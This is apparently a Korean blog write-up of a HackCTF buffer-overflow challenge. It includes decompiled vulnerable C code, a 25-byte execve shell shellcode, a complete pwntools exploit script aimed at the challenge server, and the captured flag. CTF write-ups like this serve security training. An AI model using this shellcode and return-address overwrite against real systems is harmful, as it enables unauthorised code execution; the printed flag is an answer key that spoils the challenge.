[HackCTF / pwnable] 내 버퍼가 흘러넘친다!!!
2019. 10. 4. 04:08ㆍWargame & CTF/HackCTF
버퍼오버플로우 문제이다. 기존에는 쉘을 실행시켜주는 함수가 있었지만, 지금은 직접 쉘코드를 넣어서 실행시켜줘야 한다.
내가 쓴 쉘코드는 기본적인 25바이트 쉘코드이다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
1 2 3 4 5 6 7 8 9 10 11 | int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+0h] [ebp-14h] setvbuf(stdout, 0, 2, 0); printf("Name : "); read(0, &name, 0x32u); printf("input : "); gets(&s); return 0; } | cs |
쉘코드를 넣기에는 s 크기가 부족하다. 그리고 ASLR 보호기법이 걸려있을 가능성이 크다.
name은 크기도 적당하고 bss영역이기 때문에 주소가 변하지 않는다. 사용하기 딱 좋다.
name에 쉘코드를 넣고, ret에 name의 주소를 넣으면 쉘이 실행될것이다.
ex.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | from pwn import * e = ELF("./prob1") #p = process("./prob1") p = remote("ctf.j0n9hyun.xyz", 3003) p.recvuntil("Name : ") payload = "" payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" p.sendline(payload) p.recvuntil("input : ") payload = "" payload += "A"*(0x14+0x4) payload += p32(e.symbols["name"]) p.sendline(payload) p.interactive() | cs |
내 버퍼가 흘러넘친다!!! : HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}
'Wargame & CTF > HackCTF' 카테고리의 다른 글
[HackCTF / pwnable] x64_Simple_size_BOF (0) | 2019.10.04 |
---|---|
[HackCTF / pwnable] x64_Buffer_Overflow (0) | 2019.10.04 |
[HackCTF / pwnable] Basic_FSB (0) | 2019.10.04 |
[HackCTF / pwnable] Basic_BOF #2 (0) | 2019.10.04 |
[HackCTF / pwnable] Basic_BOF #1 (0) | 2019.10.04 |